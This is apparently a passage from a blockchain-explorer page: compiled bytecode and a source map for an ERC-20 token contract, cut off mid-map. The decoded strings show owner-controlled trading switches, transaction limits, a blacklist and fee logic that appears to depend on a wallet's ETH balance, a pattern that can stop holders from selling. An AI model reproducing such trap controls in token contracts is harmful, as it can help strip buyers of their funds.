990826116e5565b30600090815260176020526040902055505050565b60035461179b9083611401565b6003556002546117ab90826116e5565b6002555050565b60008080806117cc60646117c68989611857565b90611494565b905060006117df60646117c68a89611857565b905060006117f7826117f18b86611401565b90611401565b9992985090965090945050505050565b60008080806118168886611857565b905060006118248887611857565b905060006118328888611857565b90506000611844826117f18686611401565b939b939a50919850919650505050505050565b600082600003611869575060006104a3565b60006118758385611c2e565b9050826118828583611c0c565b146112865760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105b0565b600060208083528351808285015260005b81811015611906578581018301518582016040015282016118ea565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461056157600080fd5b6000806040838503121561194f57600080fd5b823561195a81611927565b946020939093013593505050565b60008060006060848603121561197d57600080fd5b833561198881611927565b9250602084013561199881611927565b929592945050506040919091013590565b6000602082840312156119bb57600080fd5b813561128681611927565b801515811461056157600080fd5b6000806000604084860312156119e957600080fd5b833567ffffffffffffffff80821115611a0157600080fd5b818601915086601f830112611a1557600080fd5b813581811115611a2457600080fd5b8760208260051b8501011115611a3957600080fd5b60209283019550935050840135611a4f816119c6565b809150509250925092565b60008060408385031215611a6d57600080fd5b8235611a7881611927565b91506020830135611a8881611927565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611b0657611b06611ade565b5060010190565b600060208284031215611b1f57600080fd5b815161128681611927565b600080600060608486031215611b3f57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b6a57600080fd5b8151611286816119c6565b808201808211156104a3576104a3611ade565b818103818111156104a3576104a3611ade565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611beb5784516001600160a01b031683529383019391830191600101611bc6565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c2957634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176104a3576104a3611ade56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220120a29ba8f7ffc6993ef4d669800e58331c5e6032e2d1a2be4b21a0bcc476e5564736f6c63430008130033

Deployed Bytecode

0x60806040526004361061016a5760003560e01c8063751039fc116100d1578063c3c8cd801161008a578063dd4214bc11610064578063dd4214bc1461040e578063dd62ed3e14610424578063e8078d941461046a578063f2fde38b1461047257600080fd5b8063c3c8cd80146103c4578063c492f046146103d9578063c9567bf9146103f957600080fd5b8063751039fc146103145780637f2feddc146103295780638da5cb5b1461035657806395d89b4114610176578063a9059cbb14610374578063bfd792841461039457600080fd5b8063313ce56711610123578063313ce5671461027657806349bd5a5e146102925780636c0a24eb146102b25780636fc3eaec146102c857806370a08231146102df578063715018a6146102ff57600080fd5b806306fdde0314610176578063095ea7b3146101b35780631694505e146101e357806318160ddd1461021b57806323b872dd146102405780632fd689e31461026057600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5060408051808201825260058152645955434b5960d81b602082015290516101aa91906118d9565b60405180910390f35b3480156101bf57600080fd5b506101d36101ce36600461193c565b610492565b60405190151581526020016101aa565b3480156101ef57600080fd5b50601354610203906001600160a01b031681565b6040516001600160a01b0390911681526020016101aa565b34801561022757600080fd5b50670de0b6b3a76400005b6040519081526020016101aa565b34801561024c57600080fd5b506101d361025b366004611968565b6104a9565b34801561026c57600080fd5b5061023260115481565b34801561028257600080fd5b50604051600981526020016101aa565b34801561029e57600080fd5b50601454610203906001600160a01b031681565b3480156102be57600080fd5b5061023260105481565b3480156102d457600080fd5b506102dd610512565b005b3480156102eb57600080fd5b506102326102fa3660046119a9565b610564565b34801561030b57600080fd5b506102dd610586565b34801561032057600080fd5b506102dd610603565b34801561033557600080fd5b506102326103443660046119a9565b600b6020526000908152604090205481565b34801561036257600080fd5b506000546001600160a01b0316610203565b34801561038057600080fd5b506101d361038f36600461193c565b61063a565b3480156103a057600080fd5b506101d36103af3660046119a9565b600a6020526000908152604090205460ff1681565b3480156103d057600080fd5b506102dd610647565b3480156103e557600080fd5b506102dd6103f43660046119d4565b6106a2565b34801561040557600080fd5b506102dd610743565b34801561041a57600080fd5b50610232600f5481565b34801561043057600080fd5b5061023261043f366004611a5a565b6001600160a01b03918216600090815260186020908152604080832093909416825291909152205490565b6102dd61077c565b34801561047e57600080fd5b506102dd61048d3660046119a9565b610a83565b600061049f338484610b6d565b5060015b92915050565b60006104b6848484610c91565b610508843361050385604051806060016040528060288152602001611c46602891396001600160a01b038a16600090815260186020908152604080832033845290915290205491906111f1565b610b6d565b5060019392505050565b600854630100000090046001600160a01b0316336001600160a01b0316148061054e57506009546001600160a01b0316336001600160a01b0316145b61055757600080fd5b476105618161122b565b50565b6001600160a01b0381166000908152601760205260408120546104a39061126f565b6000546001600160a01b031633146105b95760405162461bcd60e51b81526004016105b090611a93565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461062d5760405162461bcd60e51b81526004016105b090611a93565b600019600f819055601055565b600061049f338484610c91565b600854630100000090046001600160a01b0316336001600160a01b0316148061068357506009546001600160a01b0316336001600160a01b0316145b61068c57600080fd5b600061069730610564565b90506105618161128d565b6000546001600160a01b031633146106cc5760405162461bcd60e51b81526004016105b090611a93565b60005b8281101561073d5781601660008686858181106106ee576106ee611ac8565b905060200201602081019061070391906119a9565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061073581611af4565b9150506106cf565b50505050565b6000546001600160a01b0316331461076d5760405162461bcd60e51b81526004016105b090611a93565b6008805460ff19166001179055565b6000546001600160a01b031633146107a65760405162461bcd60e51b81526004016105b090611a93565b6013546107c69030906001600160a01b0316670de0b6b3a7640000610b6d565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610819573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083d9190611b0d565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561089f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c39190611b0d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610910573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109349190611b0d565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d719343061096481610564565b6000806109796000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109e1573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a069190611b2a565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a5f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105619190611b58565b6000546001600160a01b03163314610aad5760405162461bcd60e51b81526004016105b090611a93565b6001600160a01b038116610b125760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105b0565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bcf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105b0565b6001600160a01b038216610c305760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105b0565b6001600160a01b0383811660008181526018602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cf55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105b0565b6001600160a01b038216610d575760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105b0565b60008111610db95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105b0565b6000546001600160a01b03848116911614801590610de557506000546001600160a01b03838116911614155b156110d45760085460ff16610e8f576000546001600160a01b0384811691161480610e1857506001600160a01b03831630145b610e8a5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105b0565b610ee1565b600f54811115610ee15760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105b0565b6001600160a01b0383166000908152600a602052604090205460ff16158015610f2357506001600160a01b0382166000908152600a602052604090205460ff16155b610f7b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105b0565b6014546001600160a01b038381169116146110005760105481610f9d84610564565b610fa79190611b75565b106110005760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105b0565b600061100b30610564565b601154600f5491925082101590821061102457600f5491505b8080156110395750600854610100900460ff16155b801561105357506014546001600160a01b03868116911614155b8015611067575060085462010000900460ff165b801561108c57506001600160a01b03851660009081526016602052604090205460ff16155b80156110b157506001600160a01b03841660009081526016602052604090205460ff16155b156110d1576110bf8261128d565b4780156110cf576110cf4761122b565b505b50505b6001600160a01b03831660009081526016602052604090205460019060ff168061111657506001600160a01b03831660009081526016602052604090205460ff165b8061114857506014546001600160a01b0385811691161480159061114857506014546001600160a01b03848116911614155b15611155575060006111e5565b6014546001600160a01b03858116911614801561118057506013546001600160a01b03848116911614155b1561119257600754601255600454600c555b6014546001600160a01b0384811691161480156111bd57506013546001600160a01b03858116911614155b156111e5576009546005546111db916001600160a01b031631611401565b601255600654600c555b61073d84848484611443565b600081848411156112155760405162461bcd60e51b81526004016105b091906118d9565b5060006112228486611b88565b95945050505050565b60085460405163010000009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561126b573d6000803e3d6000fd5b5050565b60008061127a611471565b90506112868382611494565b9392505050565b6008805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112d1576112d1611ac8565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561132a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061134e9190611b0d565b8160018151811061136157611361611ac8565b6001600160a01b0392831660209182029290920101526013546113879130911684610b6d565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113c0908590600090869030904290600401611b9b565b600060405180830381600087803b1580156113da57600080fd5b505af11580156113ee573d6000803e3d6000fd5b50506008805461ff001916905550505050565b600061128683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f1565b80611450576114506114d6565b61145b848484611504565b8061073d5761073d600d54601255600e54600c55565b600080600061147e6115fc565b909250905061148d8282611494565b9250505090565b600061128683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061163c565b6012541580156114e65750600c54155b156114ed57565b60128054600d55600c8054600e5560009182905555565b600080600080600080611517878a61166a565b6001600160a01b038f16600090815260176020526040902054959b509399509197509550935091506115499087611401565b6001600160a01b03808b1660009081526017602052604080822093909355908a168152205461157890866116e5565b6001600160a01b03891660009081526017602052604090205561159a81611744565b6115a4848361178e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e991815260200190565b60405180910390a3505050505050505050565b6003546000908190670de0b6b3a76400006116178282611494565b82101561163357505060035492670de0b6b3a764000092509050565b90939092509050565b6000818361165d5760405162461bcd60e51b81526004016105b091906118d9565b5060006112228486611c0c565b60008060008060008060008060006116878b601254600c546117b2565b9250925092506000611697611471565b905060008060006116aa8f878787611807565b60095492955090935091506001600160a01b03908116908f16036116cd57600092505b919e909d50909b509399509197509550909350505050565b6000806116f28385611b75565b9050838110156112865760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105b0565b600061174e611471565b9050600061175c8383611857565b3060009081526017602052604090205490915061177990826116e5565b30600090815260176020526040902055505050565b60035461179b9083611401565b6003556002546117ab90826116e5565b6002555050565b60008080806117cc60646117c68989611857565b90611494565b905060006117df60646117c68a89611857565b905060006117f7826117f18b86611401565b90611401565b9992985090965090945050505050565b60008080806118168886611857565b905060006118248887611857565b905060006118328888611857565b90506000611844826117f18686611401565b939b939a50919850919650505050505050565b600082600003611869575060006104a3565b60006118758385611c2e565b9050826118828583611c0c565b146112865760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105b0565b600060208083528351808285015260005b81811015611906578581018301518582016040015282016118ea565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461056157600080fd5b6000806040838503121561194f57600080fd5b823561195a81611927565b946020939093013593505050565b60008060006060848603121561197d57600080fd5b833561198881611927565b9250602084013561199881611927565b929592945050506040919091013590565b6000602082840312156119bb57600080fd5b813561128681611927565b801515811461056157600080fd5b6000806000604084860312156119e957600080fd5b833567ffffffffffffffff80821115611a0157600080fd5b818601915086601f830112611a1557600080fd5b813581811115611a2457600080fd5b8760208260051b8501011115611a3957600080fd5b60209283019550935050840135611a4f816119c6565b809150509250925092565b60008060408385031215611a6d57600080fd5b8235611a7881611927565b91506020830135611a8881611927565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611b0657611b06611ade565b5060010190565b600060208284031215611b1f57600080fd5b815161128681611927565b600080600060608486031215611b3f57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b6a57600080fd5b8151611286816119c6565b808201808211156104a3576104a3611ade565b818103818111156104a3576104a3611ade565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611beb5784516001600160a01b031683529383019391830191600101611bc6565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c2957634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176104a3576104a3611ade56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220120a29ba8f7ffc6993ef4d669800e58331c5e6032e2d1a2be4b21a0bcc476e5564736f6c63430008130033

Deployed Bytecode Sourcemap

4172:12778:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6485:83;;;;;;;;;;-1:-1:-1;6555:5:0;;;;;;;;;;;-1:-1:-1;;;6555:5:0;;;;6485:83;;;;6555:5;6485:83;:::i;:::-;;;;;;;;7796:193;;;;;;;;;;-1:-1:-1;7796:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7796:193:0;1023:187:1;5514:41:0;;;;;;;;;;-1:-1:-1;5514:41:0;;;;-1:-1:-1;;;;;5514:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;5514:41:0;1215:229:1;6672:95:0;;;;;;;;;;-1:-1:-1;4647:15:0;6672:95;;;1595:25:1;;;1583:2;1568:18;6672:95:0;1449:177:1;7998:446:0;;;;;;;;;;-1:-1:-1;7998:446:0;;;;;:::i;:::-;;:::i;5402:52::-;;;;;;;;;;;;;;;;7117:83;;;;;;;;;;-1:-1:-1;7117:83:0;;4295:1;2234:36:1;;2222:2;2207:18;7117:83:0;2092:184:1;5562:28:0;;;;;;;;;;-1:-1:-1;5562:28:0;;;;-1:-1:-1;;;;;5562:28:0;;;5341:54;;;;;;;;;;;;;;;;13151:220;;;;;;;;;;;;;:::i;:::-;;6971:138;;;;;;;;;;-1:-1:-1;6971:138:0;;;;;:::i;:::-;;:::i;2243:148::-;;;;;;;;;;;;;:::i;15644:136::-;;;;;;;;;;;;;:::i;5081:43::-;;;;;;;;;;-1:-1:-1;5081:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;2027:79;;;;;;;;;;-1:-1:-1;2065:7:0;2092:6;-1:-1:-1;;;;;2092:6:0;2027:79;;7210:199;;;;;;;;;;-1:-1:-1;7210:199:0;;;;;:::i;:::-;;:::i;5043:36::-;;;;;;;;;;-1:-1:-1;5043:36:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12590:221;;;;;;;;;;;;;:::i;12909:234::-;;;;;;;;;;-1:-1:-1;12909:234:0;;;;;:::i;:::-;;:::i;12820:81::-;;;;;;;;;;;;;:::i;5281:53::-;;;;;;;;;;;;;;;;6775:184;;;;;;;;;;-1:-1:-1;6775:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;6924:18:0;;;6892:7;6924:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6775:184;12120:461;;;:::i;2400:244::-;;;;;;;;;;-1:-1:-1;2400:244:0;;;;;:::i;:::-;;:::i;7796:193::-;7898:4;7920:39;1618:10;7943:7;7952:6;7920:8;:39::i;:::-;-1:-1:-1;7977:4:0;7796:193;;;;;:::o;7998:446::-;8130:4;8147:36;8157:6;8165:9;8176:6;8147:9;:36::i;:::-;8194:220;8217:6;1618:10;8265:138;8321:6;8265:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8265:19:0;;;;;;:11;:19;;;;;;;;1618:10;8265:33;;;;;;;;;;:37;:138::i;:::-;8194:8;:220::i;:::-;-1:-1:-1;8432:4:0;7998:446;;;;;:::o;13151:220::-;13217:11;;;;;-1:-1:-1;;;;;13217:11:0;1618:10;-1:-1:-1;;;;;13201:27:0;;:57;;;-1:-1:-1;13248:10:0;;-1:-1:-1;;;;;13248:10:0;1618;-1:-1:-1;;;;;13232:26:0;;13201:57;13193:66;;;;;;13299:21;13331:32;13299:21;13331:12;:32::i;:::-;13182:189;13151:220::o;6971:138::-;-1:-1:-1;;;;;7084:16:0;;7037:7;7084:16;;;:7;:16;;;;;;7064:37;;:19;:37::i;2243:148::-;2155:6;;-1:-1:-1;;;;;2155:6:0;1618:10;2155:22;2147:67;;;;-1:-1:-1;;;2147:67:0;;;;;;;:::i;:::-;;;;;;;;;2350:1:::1;2334:6:::0;;2313:40:::1;::::0;-1:-1:-1;;;;;2334:6:0;;::::1;::::0;2313:40:::1;::::0;2350:1;;2313:40:::1;2381:1;2364:19:::0;;-1:-1:-1;;;;;;2364:19:0::1;::::0;;2243:148::o;15644:136::-;2155:6;;-1:-1:-1;;;;;2155:6:0;1618:10;2155:22;2147:67;;;;-1:-1:-1;;;2147:67:0;;;;;;;:::i;:::-;-1:-1:-1;;15696:15:0::1;:32:::0;;;15739:16:::1;:33:::0;15644:136::o;7210:199::-;7315:4;7337:42;1618:10;7361:9;7372:6;7337:9;:42::i;12590:221::-;12656:11;;;;;-1:-1:-1;;;;;12656:11:0;1618:10;-1:-1:-1;;;;;12640:27:0;;:57;;;-1:-1:-1;12687:10:0;;-1:-1:-1;;;;;12687:10:0;1618;-1:-1:-1;;;;;12671:26:0;;12640:57;12632:66;;;;;;12709:23;12735:24;12753:4;12735:9;:24::i;:::-;12709:50;;12770:33;12787:15;12770:16;:33::i;12909:234::-;2155:6;;-1:-1:-1;;;;;2155:6:0;1618:10;2155:22;2147:67;;;;-1:-1:-1;;;2147:67:0;;;;;;;:::i;:::-;13026:9:::1;13022:114;13041:19:::0;;::::1;13022:114;;;13116:8;13082:18;:31;13101:8;;13110:1;13101:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13082:31:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;13082:31:0;:42;;-1:-1:-1;;13082:42:0::1;::::0;::::1;;::::0;;;::::1;::::0;;13062:3;::::1;::::0;::::1;:::i;:::-;;;;13022:114;;;;12909:234:::0;;;:::o;12820:81::-;2155:6;;-1:-1:-1;;;;;2155:6:0;1618:10;2155:22;2147:67;;;;-1:-1:-1;;;2147:67:0;;;;;;;:::i;:::-;12871:15:::1;:22:::0;;-1:-1:-1;;12871:22:0::1;12889:4;12871:22;::::0;;12820:81::o;12120:461::-;2155:6;;-1:-1:-1;;;;;2155:6:0;1618:10;2155:22;2147:67;;;;-1:-1:-1;;;2147:67:0;;;;;;;:::i;:::-;12216:15:::1;::::0;12184:58:::1;::::0;12201:4:::1;::::0;-1:-1:-1;;;;;12216:15:0::1;4647;12184:8;:58::i;:::-;12287:15;;;;;;;;;-1:-1:-1::0;;;;;12287:15:0::1;-1:-1:-1::0;;;;;12287:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12269:55:0::1;;12333:4;12340:15;;;;;;;;;-1:-1:-1::0;;;;;12340:15:0::1;-1:-1:-1::0;;;;;12340:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12269:94;::::0;-1:-1:-1;;;;;;12269:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5263:15:1;;;12269:94:0::1;::::0;::::1;5245:34:1::0;5315:15;;5295:18;;;5288:43;5180:18;;12269:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12253:13;:110:::0;;-1:-1:-1;;;;;;12253:110:0::1;-1:-1:-1::0;;;;;12253:110:0;;::::1;;::::0;;12374:15:::1;::::0;::::1;:31;12413:9;12432:4;12438:24;12432:4:::0;12438:9:::1;:24::i;:::-;12463:1;12465::::0;12467:7:::1;2065::::0;2092:6;-1:-1:-1;;;;;2092:6:0;;2027:79;12467:7:::1;12374:117;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12374:117:0;;;-1:-1:-1;;;;;5701:15:1;;;12374:117:0::1;::::0;::::1;5683:34:1::0;5733:18;;;5726:34;;;;5776:18;;;5769:34;;;;5819:18;;;5812:34;5883:15;;;5862:19;;;5855:44;12475:15:0::1;5915:19:1::0;;;5908:35;5617:19;;12374:117:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12509:13:0::1;::::0;12540:15:::1;::::0;12502:71:::1;::::0;-1:-1:-1;;;12502:71:0;;-1:-1:-1;;;;;12540:15:0;;::::1;12502:71;::::0;::::1;6439:51:1::0;-1:-1:-1;;6506:18:1;;;6499:34;12509:13:0;::::1;::::0;-1:-1:-1;12502:29:0::1;::::0;6412:18:1;;12502:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;2400:244::-:0;2155:6;;-1:-1:-1;;;;;2155:6:0;1618:10;2155:22;2147:67;;;;-1:-1:-1;;;2147:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2489:22:0;::::1;2481:73;;;::::0;-1:-1:-1;;;2481:73:0;;6996:2:1;2481:73:0::1;::::0;::::1;6978:21:1::0;7035:2;7015:18;;;7008:30;7074:34;7054:18;;;7047:62;-1:-1:-1;;;7125:18:1;;;7118:36;7171:19;;2481:73:0::1;6794:402:1::0;2481:73:0::1;2591:6;::::0;;2570:38:::1;::::0;-1:-1:-1;;;;;2570:38:0;;::::1;::::0;2591:6;::::1;::::0;2570:38:::1;::::0;::::1;2619:6;:17:::0;;-1:-1:-1;;;;;;2619:17:0::1;-1:-1:-1::0;;;;;2619:17:0;;;::::1;::::0;;;::::1;::::0;;2400:244::o;7418:369::-;-1:-1:-1;;;;;7545:19:0;;7537:68;;;;-1:-1:-1;;;7537:68:0;;7403:2:1;7537:68:0;;;7385:21:1;7442:2;7422:18;;;7415:30;7481:34;7461:18;;;7454:62;-1:-1:-1;;;7532:18:1;;;7525:34;7576:19;;7537:68:0;7201:400:1;7537:68:0;-1:-1:-1;;;;;7624:21:0;;7616:68;;;;-1:-1:-1;;;7616:68:0;;7808:2:1;7616:68:0;;;7790:21:1;7847:2;7827:18;;;7820:30;7886:34;7866:18;;;7859:62;-1:-1:-1;;;7937:18:1;;;7930:32;7979:19;;7616:68:0;7606:398:1;7616:68:0;-1:-1:-1;;;;;7695:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7747:32;;1595:25:1;;;7747:32:0;;1568:18:1;7747:32:0;;;;;;;7418:369;;;:::o;9389:2438::-;-1:-1:-1;;;;;9511:18:0;;9503:68;;;;-1:-1:-1;;;9503:68:0;;8211:2:1;9503:68:0;;;8193:21:1;8250:2;8230:18;;;8223:30;8289:34;8269:18;;;8262:62;-1:-1:-1;;;8340:18:1;;;8333:35;8385:19;;9503:68:0;8009:401:1;9503:68:0;-1:-1:-1;;;;;9590:16:0;;9582:64;;;;-1:-1:-1;;;9582:64:0;;8617:2:1;9582:64:0;;;8599:21:1;8656:2;8636:18;;;8629:30;8695:34;8675:18;;;8668:62;-1:-1:-1;;;8746:18:1;;;8739:33;8789:19;;9582:64:0;8415:399:1;9582:64:0;9674:1;9665:6;:10;9657:64;;;;-1:-1:-1;;;9657:64:0;;9021:2:1;9657:64:0;;;9003:21:1;9060:2;9040:18;;;9033:30;9099:34;9079:18;;;9072:62;-1:-1:-1;;;9150:18:1;;;9143:39;9199:19;;9657:64:0;8819:405:1;9657:64:0;2065:7;2092:6;-1:-1:-1;;;;;9739:15:0;;;2092:6;;9739:15;;;;:32;;-1:-1:-1;2065:7:0;2092:6;-1:-1:-1;;;;;9758:13:0;;;2092:6;;9758:13;;9739:32;9735:1336;;;9829:15;;;;9824:280;;2065:7;2092:6;-1:-1:-1;;;;;9873:15:0;;;2092:6;;9873:15;;:40;;-1:-1:-1;;;;;;9892:21:0;;9908:4;9892:21;9873:40;9865:116;;;;-1:-1:-1;;;9865:116:0;;9431:2:1;9865:116:0;;;9413:21:1;9470:2;9450:18;;;9443:30;9509:34;9489:18;;;9482:62;9580:33;9560:18;;;9553:61;9631:19;;9865:116:0;9229:427:1;9865:116:0;9824:280;;;10040:15;;10030:6;:25;;10022:66;;;;-1:-1:-1;;;10022:66:0;;9863:2:1;10022:66:0;;;9845:21:1;9902:2;9882:18;;;9875:30;9941;9921:18;;;9914:58;9989:18;;10022:66:0;9661:352:1;10022:66:0;-1:-1:-1;;;;;10127:10:0;;;;;;:4;:10;;;;;;;;10126:11;:24;;;;-1:-1:-1;;;;;;10142:8:0;;;;;;:4;:8;;;;;;;;10141:9;10126:24;10118:72;;;;-1:-1:-1;;;10118:72:0;;10220:2:1;10118:72:0;;;10202:21:1;10259:2;10239:18;;;10232:30;10298:34;10278:18;;;10271:62;-1:-1:-1;;;10349:18:1;;;10342:33;10392:19;;10118:72:0;10018:399:1;10118:72:0;10217:13;;-1:-1:-1;;;;;10211:19:0;;;10217:13;;10211:19;10208:148;;10284:16;;10275:6;10259:13;10269:2;10259:9;:13::i;:::-;:22;;;;:::i;:::-;:41;10251:89;;;;-1:-1:-1;;;10251:89:0;;10754:2:1;10251:89:0;;;10736:21:1;10793:2;10773:18;;;10766:30;10832:34;10812:18;;;10805:62;-1:-1:-1;;;10883:18:1;;;10876:33;10926:19;;10251:89:0;10552:399:1;10251:89:0;10373:28;10404:24;10422:4;10404:9;:24::i;:::-;10482:19;;10546:15;;10373:55;;-1:-1:-1;10458:43:0;;;;10522:39;;10519:130;;10618:15;;10595:38;;10519:130;10670:7;:22;;;;-1:-1:-1;10682:10:0;;;;;;;10681:11;10670:22;:47;;;;-1:-1:-1;10704:13:0;;-1:-1:-1;;;;;10696:21:0;;;10704:13;;10696:21;;10670:47;:65;;;;-1:-1:-1;10721:14:0;;;;;;;10670:65;:94;;;;-1:-1:-1;;;;;;10740:24:0;;;;;;:18;:24;;;;;;;;10739:25;10670:94;:121;;;;-1:-1:-1;;;;;;10769:22:0;;;;;;:18;:22;;;;;;;;10768:23;10670:121;10666:394;;;10812:38;10829:20;10812:16;:38::i;:::-;10898:21;10943:22;;10939:106;;10990:35;11003:21;10990:12;:35::i;:::-;10793:267;10666:394;9773:1298;;9735:1336;-1:-1:-1;;;;;11149:24:0;;11084:12;11149:24;;;:18;:24;;;;;;11099:4;;11149:24;;;:50;;-1:-1:-1;;;;;;11177:22:0;;;;;;:18;:22;;;;;;;;11149:50;11148:102;;;-1:-1:-1;11213:13:0;;-1:-1:-1;;;;;11205:21:0;;;11213:13;;11205:21;;;;:44;;-1:-1:-1;11236:13:0;;-1:-1:-1;;;;;11230:19:0;;;11236:13;;11230:19;;11205:44;11144:621;;;-1:-1:-1;11277:5:0;11144:621;;;11361:13;;-1:-1:-1;;;;;11353:21:0;;;11361:13;;11353:21;:55;;;;-1:-1:-1;11392:15:0;;-1:-1:-1;;;;;1137